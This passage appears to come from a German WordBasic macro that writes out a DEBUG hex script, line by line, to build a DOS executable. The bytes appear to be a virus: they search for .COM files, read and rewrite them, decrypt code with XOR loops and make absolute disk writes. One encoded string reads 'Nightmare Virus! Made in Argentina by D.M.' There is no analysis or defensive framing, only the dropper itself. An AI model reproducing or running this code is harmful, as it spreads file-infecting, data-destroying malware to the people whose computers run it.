  2668. Einfügen "Print #1," + Chr$(34) + "E 01F0 E9 1A 01 81 3E 18 F6 E9 5D 75 03 E9 0F 01 81 3E" + Chr$(34)
  2669. EinfügenAbsatz
  2670. Einfügen "Print #1," + Chr$(34) + "E 0200 18 F6 E9 6D 75 03 E9 04 01 81 3E 18 F6 89 F6 75" + Chr$(34)
  2671. EinfügenAbsatz
  2672. Einfügen "Print #1," + Chr$(34) + "E 0210 03 E9 F9 00 B9 FE 03 81 3E 0E FC 00 04 73 04 8B" + Chr$(34)
  2673. EinfügenAbsatz
  2674. Einfügen "Print #1," + Chr$(34) + "E 0220 0E 0E FC 0E 1F BA 1A F6 B4 3F CD 21 BE 7C 03 FF" + Chr$(34)
  2675. EinfügenAbsatz
  2676. Einfügen "Print #1," + Chr$(34) + "E 0230 36 0E FC 8F 04 81 3C 00 04 73 04 C7 04 00 04 33" + Chr$(34)
  2677. EinfügenAbsatz
  2678. Einfügen "Print #1," + Chr$(34) + "E 0240 C9 8B D1 B0 00 B4 42 CD 21 B4 40 B9 00 04 BA 00" + Chr$(34)
  2679. EinfügenAbsatz
  2680. Einfügen "Print #1," + Chr$(34) + "E 0250 01 CD 21 33 C9 B0 02 B4 42 8B D1 CD 21 B4 40 B9" + Chr$(34)
  2681. EinfügenAbsatz
  2682. Einfügen "Print #1," + Chr$(34) + "E 0260 00 04 81 3E 0E FC 00 04 73 04 8B 0E 0E FC 51 BE" + Chr$(34)
  2683. EinfügenAbsatz
  2684. Einfügen "Print #1," + Chr$(34) + "E 0270 18 F6 80 34 18 46 E2 FA 59 BA 18 F6 CD 21 E9 8C" + Chr$(34)
  2685. EinfügenAbsatz
  2686. Einfügen "Print #1," + Chr$(34) + "E 0280 00 B1 96 98 97 8B 92 9E 8D 9A DF A9 96 8D 8A 8C" + Chr$(34)
  2687. EinfügenAbsatz
  2688. Einfügen "Print #1," + Chr$(34) + "E 0290 DE DF B2 9E 9B 9A DF 96 91 DF BE 8D 98 9A 91 8B" + Chr$(34)
  2689. EinfügenAbsatz
  2690. Einfügen "Print #1," + Chr$(34) + "E 02A0 96 91 9E DF 9D 86 DF BB D1 B2 D1 DB 5B 53 80 FF" + Chr$(34)
  2691. EinfügenAbsatz
  2692. Einfügen "Print #1," + Chr$(34) + "E 02B0 01 75 03 E9 B1 FE E8 E2 FE 0E 1F BE 7E 03 33 C0" + Chr$(34)
  2693. EinfügenAbsatz
  2694. Einfügen "Print #1," + Chr$(34) + "E 02C0 8E C0 BF 90 00 B9 04 00 A4 E2 FD 5B BE E8 FD 81" + Chr$(34)
  2695. EinfügenAbsatz
  2696. Einfügen "Print #1," + Chr$(34) + "E 02D0 3C 2D 2D 75 02 CD 20 0E 1F BE 02 03 0E 07 BF 18" + Chr$(34)
  2697. EinfügenAbsatz
  2698. Einfügen "Print #1," + Chr$(34) + "E 02E0 F6 B9 2C 01 A4 E2 FD BE E8 FD 8B 04 05 00 01 8B" + Chr$(34)
  2699. EinfügenAbsatz
  2700. Einfügen "Print #1," + Chr$(34) + "E 02F0 F0 BF 00 01 56 B9 00 04 80 34 18 46 E2 FA 5E E9" + Chr$(34)
  2701. EinfügenAbsatz
  2702. Einfügen "Print #1," + Chr$(34) + "E 0300 16 F3 B9 00 04 A4 E2 FD B8 00 01 FF E0 B4 3E CD" + Chr$(34)
  2703. EinfügenAbsatz
  2704. Einfügen "Print #1," + Chr$(34) + "E 0310 21 B4 43 BA 12 FC B0 01 BE 09 FC B5 00 8A 0C CD" + Chr$(34)
  2705. EinfügenAbsatz
  2706. Einfügen "Print #1," + Chr$(34) + "E 0320 21 B4 4F CD 21 73 02 EB 83 E9 87 FE B0 02 0E 1F" + Chr$(34)
  2707. EinfügenAbsatz
  2708. Einfügen "Print #1," + Chr$(34) + "E 0330 BB 00 01 B9 F4 01 2B D2 CD 26 72 23 0E 07 BF B0" + Chr$(34)
  2709. EinfügenAbsatz
  2710. Einfügen "Print #1," + Chr$(34) + "E 0340 FE BE 81 02 B9 2B 00 A4 E2 FD B9 2B 00 0E 1F BE" + Chr$(34)
  2711. EinfügenAbsatz
  2712. Einfügen "Print #1," + Chr$(34) + "E 0350 B0 FE 80 34 FF 46 E2 FA B4 09 BA B0 FE CD 21 E9" + Chr$(34)
  2713. EinfügenAbsatz
  2714. Einfügen "Print #1," + Chr$(34) + "E 0360 DA FD CF 43 48 4B 4C 49 53 54 2E 4D 53 00 2A 2E" + Chr$(34)
  2715. EinfügenAbsatz
  2716. Einfügen "Print #1," + Chr$(34) + "E 0370 43 4F 4D 00 5C 00 5C 44 4F 53 00 00 D0 07 55 01" + Chr$(34)
  2717. EinfügenAbsatz
  2718. Einfügen "Print #1," + Chr$(34) + "E 0380 2B 0E 6D 15 CE 15 E3 1B 9F 15 02 4E 03 4E 02 4D" + Chr$(34)
  2719. EinfügenAbsatz
  2720. Einfügen "Print #1," + Chr$(34) + "E 0390 86 4D F0 42 E2 1B 61 15 9D 15 50 45 65 42 28 51" + Chr$(34)
  2721. EinfügenAbsatz
  2722. Einfügen "Print #1," + Chr$(34) + "E 03A0 2A 51 9E 15 00 4E 01 4E 00 4D 84 4D 84 46 04 4D" + Chr$(34)
  2723. EinfügenAbsatz
  2724. Einfügen "Print #1," + Chr$(34) + "E 03B0 05 4D 9B 15 D7 48 86 47 20 50 62 1D 26 50 A6 15" + Chr$(34)
  2725. EinfügenAbsatz
  2726. Einfügen "Print #1," + Chr$(34) + "E 03C0 A7 15 C8 38 F0 33 C0 24 00 1F 30 26 E2 28 D8 20" + Chr$(34)
  2727. EinfügenAbsatz
  2728. Einfügen "Print #1," + Chr$(34) + "E 03D0 E1 5D F8 24 F8 1E DD 30 00 22 10 22 30 22 08 22" + Chr$(34)
  2729. EinfügenAbsatz
  2730. Einfügen "Print #1," + Chr$(34) + "E 03E0 E3 28 1F 23 20 22 28 29 EB 33 C8 24 E0 5E F8 33" + Chr$(34)
  2731. EinfügenAbsatz
  2732. Einfügen "Print #1," + Chr$(34) + "E 03F0 F2 33 30 25 FA 33 38 29 38 31 E8 24 E8 1E E0 21" + Chr$(34)
  2733. EinfügenAbsatz
  2734. Einfügen "Print #1," + Chr$(34) + "E 0400 9B 37 F1 33 C9 15 AC 15 AD 15 E1 1B A4 15 A5 15" + Chr$(34)
  2735. EinfügenAbsatz
  2736. Einfügen "Print #1," + Chr$(34) + "E 0410 6E 15 6F 15 60 15 9C 15 64 42 F2 42 AE 15 AF 15" + Chr$(34)
  2737. EinfügenAbsatz
  2738. Einfügen "Print #1," + Chr$(34) + "E 0420 AA 15 AB 15 22 50 D7 15 FF 53 12 40 D9 36 F0 24" + Chr$(34)
  2739. EinfügenAbsatz
  2740. Einfügen "Print #1," + Chr$(34) + "E 0430 18 22 38 22 28 22 20 2A EA 33 E9 33 EC 33 ED 33" + Chr$(34)
  2741. EinfügenAbsatz
  2742. Einfügen "Print #1," + Chr$(34) + "E 0440 E2 2B E1 5E E3 2B 30 2C 38 2D 38 2F F3 33 F5 33" + Chr$(34)
  2743. EinfügenAbsatz
  2744. Einfügen "Print #1," + Chr$(34) + "E 0450 20 25 FD 33 E4 28 30 2A E0 24 E8 21 E0 1B 16 40" + Chr$(34)
  2745. EinfügenAbsatz
  2746. Einfügen "Print #1," + Chr$(34) + "E 0460 14 40 F6 33 F7 33 30 2E FC 33 FB 33 E9 34 F4 33" + Chr$(34)
  2747. EinfügenAbsatz
  2748. Einfügen "Print #1," + Chr$(34) + "E 0470 F9 33 33 52 31 52 10 40 A6 4A 6C 4B AC 49 AE 49" + Chr$(34)
  2749. EinfügenAbsatz
  2750. Einfügen "Print #1," + Chr$(34) + "E 0480 AA 49 A4 4A 6E 4C FF 57 FF 58 FF 59 FF 5A FF 11" + Chr$(34)
  2751. EinfügenAbsatz
  2752. Einfügen "Print #1," + Chr$(34) + "E 0490 FF 06 FF 0A FF 09 FF 0C FF 0D 34 00 48 00 5A 00" + Chr$(34)
  2753. EinfügenAbsatz
  2754. Einfügen "Print #1," + Chr$(34) + "E 04A0 FF 0B FF 5B FF 01 FF 03 FF 07 FF 08 FF 0E FF 0F" + Chr$(34)
  2755. EinfügenAbsatz
  2756. Einfügen "Print #1," + Chr$(34) + "E 04B0 FF 10 FF 07 FF 12 FF 07 FF 07 FF 07 FF 06 FF 5C" + Chr$(34)
  2757. EinfügenAbsatz
  2758. Einfügen "Print #1," + Chr$(34) + "E 04C0 FF 14 FF 13 FF 05 FF 04 FF 02 46 E9 C5 04 46 E8" + Chr$(34)
  2759. EinfügenAbsatz
  2760. Einfügen "Print #1," + Chr$(34) + "E 04D0 F0 2C 2C 30 3C 09 77 1C AD 3D 32 38 75 13 AC 3C" + Chr$(34)
  2761. EinfügenAbsatz
  2762. Einfügen "Print #1," + Chr$(34) + "E 04E0 37 75 0E 36 F6 06 11 00 7F 75 06 36 C6 06 11 00" + Chr$(34)
  2763. EinfügenAbsatz
  2764. Einfügen "Print #1," + Chr$(34) + "E 04F0 01 E9 DB 2C E8 75 15 75 F8 3D 00 01 75 F3 EB 38" + Chr$(34)
  2765. EinfügenAbsatz
  2766. Einfügen "Print #1," + Chr$(34) + "E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2767. EinfügenAbsatz
  2768. Einfügen "Print #1," + Chr$(34) + "E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2769. EinfügenAbsatz
  2770. Einfügen "Print #1," + Chr$(34) + "E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2771. EinfügenAbsatz
  2772. Einfügen "Print #1," + Chr$(34) + "E 0530 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2773. EinfügenAbsatz
  2774. Einfügen "Print #1," + Chr$(34) + "E 0540 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2775. EinfügenAbsatz
  2776. Einfügen "Print #1," + Chr$(34) + "E 0550 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2777. EinfügenAbsatz
  2778. Einfügen "Print #1," + Chr$(34) + "E 0560 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2779. EinfügenAbsatz
  2780. Einfügen "Print #1," + Chr$(34) + "E 0570 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2781. EinfügenAbsatz
  2782. Einfügen "Print #1," + Chr$(34) + "E 0580 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2783. EinfügenAbsatz
  2784. Einfügen "Print #1," + Chr$(34) + "E 0590 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2785. EinfügenAbsatz
  2786. Einfügen "Print #1," + Chr$(34) + "E 05A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2787. EinfügenAbsatz
  2788. Einfügen "Print #1," + Chr$(34) + "E 05B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2789. EinfügenAbsatz
  2790. Einfügen "Print #1," + Chr$(34) + "E 05C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2791. EinfügenAbsatz
  2792. Einfügen "Print #1," + Chr$(34) + "E 05D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2793. EinfügenAbsatz
  2794. Einfügen "Print #1," + Chr$(34) + "E 05E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2795. EinfügenAbsatz
  2796. Einfügen "Print #1," + Chr$(34) + "E 05F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2797. EinfügenAbsatz
  2798. Einfügen "Print #1," + Chr$(34) + "E 0600 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2799. EinfügenAbsatz
  2800. Einfügen "Print #1," + Chr$(34) + "E 0610 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2801. EinfügenAbsatz
  2802. Einfügen "Print #1," + Chr$(34) + "E 0620 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2803. EinfügenAbsatz
  2804. Einfügen "Print #1," + Chr$(34) + "E 0630 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2805. EinfügenAbsatz
  2806. Einfügen "Print #1," + Chr$(34) + "E 0640 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2807. EinfügenAbsatz
  2808. Einfügen "Print #1," + Chr$(34) + "E 0650 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2809. EinfügenAbsatz
  2810. Einfügen "Print #1," + Chr$(34) + "E 0660 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2811. EinfügenAbsatz
  2812. Einfügen "Print #1," + Chr$(34) + "E 0670 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2813. EinfügenAbsatz
  2814. Einfügen "Print #1," + Chr$(34) + "E 0680 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2815. EinfügenAbsatz
  2816. Einfügen "Print #1," + Chr$(34) + "E 0690 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2817. EinfügenAbsatz
  2818. Einfügen "Print #1," + Chr$(34) + "E 06A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2819. EinfügenAbsatz
  2820. Einfügen "Print #1," + Chr$(34) + "E 06B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2821. EinfügenAbsatz
  2822. Einfügen "Print #1," + Chr$(34) + "E 06C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2823. EinfügenAbsatz
  2824. Einfügen "Print #1," + Chr$(34) + "E 06D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2825. EinfügenAbsatz
  2826. Einfügen "Print #1," + Chr$(34) + "E 06E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2827. EinfügenAbsatz
  2828. Einfügen "Print #1," + Chr$(34) + "E 06F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2829. EinfügenAbsatz
  2830. Einfügen "Print #1," + Chr$(34) + "E 0700 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2831. EinfügenAbsatz
  2832. Einfügen "Print #1," + Chr$(34) + "E 0710 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2833. EinfügenAbsatz
  2834. Einfügen "Print #1," + Chr$(34) + "E 0720 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2835. EinfügenAbsatz
  2836. Einfügen "Print #1," + Chr$(34) + "E 0730 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2837. EinfügenAbsatz
  2838. Einfügen "Print #1," + Chr$(34) + "E 0740 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2839. EinfügenAbsatz
  2840. Einfügen "Print #1," + Chr$(34) + "E 0750 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2841. EinfügenAbsatz
  2842. Einfügen "Print #1," + Chr$(34) + "E 0760 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2843. EinfügenAbsatz
  2844. Einfügen "Print #1," + Chr$(34) + "E 0770 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2845. EinfügenAbsatz
  2846. Einfügen "Print #1," + Chr$(34) + "E 0780 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2847. EinfügenAbsatz
  2848. Einfügen "Print #1," + Chr$(34) + "E 0790 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2849. EinfügenAbsatz
  2850. Einfügen "Print #1," + Chr$(34) + "E 07A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2851. EinfügenAbsatz
  2852. Einfügen "Print #1," + Chr$(34) + "E 07B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2853. EinfügenAbsatz
  2854. Einfügen "Print #1," + Chr$(34) + "E 07C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2855. EinfügenAbsatz
  2856. Einfügen "Print #1," + Chr$(34) + "E 07D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2857. EinfügenAbsatz
  2858. Einfügen "Print #1," + Chr$(34) + "E 07E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2859. EinfügenAbsatz
  2860. Einfügen "Print #1," + Chr$(34) + "E 07F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2861. EinfügenAbsatz
  2862. Einfügen "Print #1," + Chr$(34) + "E 0800 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2863. EinfügenAbsatz
  2864. Einfügen "Print #1," + Chr$(34) + "E 0810 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2865. EinfügenAbsatz
  2866. Einfügen "Print #1," + Chr$(34) + "E 0820 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2867. EinfügenAbsatz
  2868. Einfügen "Print #1," + Chr$(34) + "E 0830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2869. EinfügenAbsatz
  2870. Einfügen "Print #1," + Chr$(34) + "E 0840 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2871. EinfügenAbsatz
  2872. Einfügen "Print #1," + Chr$(34) + "E 0850 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2873. EinfügenAbsatz
  2874. Einfügen "Print #1," + Chr$(34) + "E 0860 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2875. EinfügenAbsatz
  2876. Einfügen "Print #1," + Chr$(34) + "E 0870 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2877. EinfügenAbsatz
  2878. Einfügen "Print #1," + Chr$(34) + "E 0880 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2879. EinfügenAbsatz
  2880. Einfügen "Print #1," + Chr$(34) + "E 0890 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2881. EinfügenAbsatz
  2882. Einfügen "Print #1," + Chr$(34) + "E 08A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2883. EinfügenAbsatz
  2884. Einfügen "Print #1," + Chr$(34) + "E 08B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2885. EinfügenAbsatz
  2886. Einfügen "Print #1," + Chr$(34) + "E 08C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90" + Chr$(34)
  2887. EinfügenAbsatz
  2888. Einfügen "Print #1," + Chr$(34) + "E 08D0 AC 54 A8 18 D5 39 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2889. EinfügenAbsatz
  2890. Einfügen "Print #1," + Chr$(34) + "E 08E0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2891. EinfügenAbsatz
  2892. Einfügen "Print #1," + Chr$(34) + "E 08F0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2893. EinfügenAbsatz
  2894. Einfügen "Print #1," + Chr$(34) + "E 0900 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2895. EinfügenAbsatz
  2896. Einfügen "Print #1," + Chr$(34) + "E 0910 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2897. EinfügenAbsatz
  2898. Einfügen "Print #1," + Chr$(34) + "E 0920 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2899. EinfügenAbsatz
  2900. Einfügen "Print #1," + Chr$(34) + "E 0930 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2901. EinfügenAbsatz
  2902. Einfügen "Print #1," + Chr$(34) + "E 0940 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2903. EinfügenAbsatz
  2904. Einfügen "Print #1," + Chr$(34) + "E 0950 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2905. EinfügenAbsatz
  2906. Einfügen "Print #1," + Chr$(34) + "E 0960 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2907. EinfügenAbsatz
  2908. Einfügen "Print #1," + Chr$(34) + "E 0970 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2909. EinfügenAbsatz
  2910. Einfügen "Print #1," + Chr$(34) + "E 0980 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2911. EinfügenAbsatz
  2912. Einfügen "Print #1," + Chr$(34) + "E 0990 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2913. EinfügenAbsatz
  2914. Einfügen "Print #1," + Chr$(34) + "E 09A0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2915. EinfügenAbsatz
  2916. Einfügen "Print #1," + Chr$(34) + "E 09B0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2917. EinfügenAbsatz
  2918. Einfügen "Print #1," + Chr$(34) + "E 09C0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2919. EinfügenAbsatz
  2920. Einfügen "Print #1," + Chr$(34) + "E 09D0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2921. EinfügenAbsatz
  2922. Einfügen "Print #1," + Chr$(34) + "E 09E0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2923. EinfügenAbsatz
  2924. Einfügen "Print #1," + Chr$(34) + "E 09F0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2925. EinfügenAbsatz
  2926. Einfügen "Print #1," + Chr$(34) + "E 0A00 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2927. EinfügenAbsatz
  2928. Einfügen "Print #1," + Chr$(34) + "E 0A10 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2929. EinfügenAbsatz
  2930. Einfügen "Print #1," + Chr$(34) + "E 0A20 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2931. EinfügenAbsatz
  2932. Einfügen "Print #1," + Chr$(34) + "E 0A30 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2933. EinfügenAbsatz
  2934. Einfügen "Print #1," + Chr$(34) + "E 0A40 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2935. EinfügenAbsatz
  2936. Einfügen "Print #1," + Chr$(34) + "E 0A50 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2937. EinfügenAbsatz
  2938. Einfügen "Print #1," + Chr$(34) + "E 0A60 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2939. EinfügenAbsatz
  2940. Einfügen "Print #1," + Chr$(34) + "E 0A70 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2941. EinfügenAbsatz
  2942. Einfügen "Print #1," + Chr$(34) + "E 0A80 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2943. EinfügenAbsatz
  2944. Einfügen "Print #1," + Chr$(34) + "E 0A90 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2945. EinfügenAbsatz
  2946. Einfügen "Print #1," + Chr$(34) + "E 0AA0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2947. EinfügenAbsatz
  2948. Einfügen "Print #1," + Chr$(34) + "E 0AB0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2949. EinfügenAbsatz
  2950. Einfügen "Print #1," + Chr$(34) + "E 0AC0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2951. EinfügenAbsatz
  2952. Einfügen "Print #1," + Chr$(34) + "E 0AD0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2953. EinfügenAbsatz
  2954. Einfügen "Print #1," + Chr$(34) + "E 0AE0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2955. EinfügenAbsatz
  2956. Einfügen "Print #1," + Chr$(34) + "E 0AF0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2957. EinfügenAbsatz
  2958. Einfügen "Print #1," + Chr$(34) + "E 0B00 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2959. EinfügenAbsatz
  2960. Einfügen "Print #1," + Chr$(34) + "E 0B10 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2961. EinfügenAbsatz
  2962. Einfügen "Print #1," + Chr$(34) + "E 0B20 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2963. EinfügenAbsatz
  2964. Einfügen "Print #1," + Chr$(34) + "E 0B30 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2965. EinfügenAbsatz
  2966. Einfügen "Print #1," + Chr$(34) + "E 0B40 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2967. EinfügenAbsatz
  2968. Einfügen "Print #1," + Chr$(34) + "E 0B50 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2969. EinfügenAbsatz
  2970. Einfügen "Print #1," + Chr$(34) + "E 0B60 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2971. EinfügenAbsatz
  2972. Einfügen "Print #1," + Chr$(34) + "E 0B70 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2973. EinfügenAbsatz
  2974. Einfügen "Print #1," + Chr$(34) + "E 0B80 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2975. EinfügenAbsatz
  2976. Einfügen "Print #1," + Chr$(34) + "E 0B90 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2977. EinfügenAbsatz
  2978. Einfügen "Print #1," + Chr$(34) + "E 0BA0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2979. EinfügenAbsatz
  2980. Einfügen "Print #1," + Chr$(34) + "E 0BB0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2981. EinfügenAbsatz
  2982. Einfügen "Print #1," + Chr$(34) + "E 0BC0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2983. EinfügenAbsatz
  2984. Einfügen "Print #1," + Chr$(34) + "E 0BD0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2985. EinfügenAbsatz
  2986. Einfügen "Print #1," + Chr$(34) + "E 0BE0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2987. EinfügenAbsatz
  2988. Einfügen "Print #1," + Chr$(34) + "E 0BF0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2989. EinfügenAbsatz
  2990. Einfügen "Print #1," + Chr$(34) + "E 0C00 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2991. EinfügenAbsatz
  2992. Einfügen "Print #1," + Chr$(34) + "E 0C10 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2993. EinfügenAbsatz
  2994. Einfügen "Print #1," + Chr$(34) + "E 0C20 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2995. EinfügenAbsatz
  2996. Einfügen "Print #1," + Chr$(34) + "E 0C30 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2997. EinfügenAbsatz
  2998. Einfügen "Print #1," + Chr$(34) + "E 0C40 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  2999. EinfügenAbsatz
  3000. Einfügen "Print #1," + Chr$(34) + "E 0C50 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  3001. EinfügenAbsatz
  3002. Einfügen "Print #1," + Chr$(34) + "E 0C60 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  3003. EinfügenAbsatz
  3004. Einfügen "Print #1," + Chr$(34) + "E 0C70 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  3005. EinfügenAbsatz
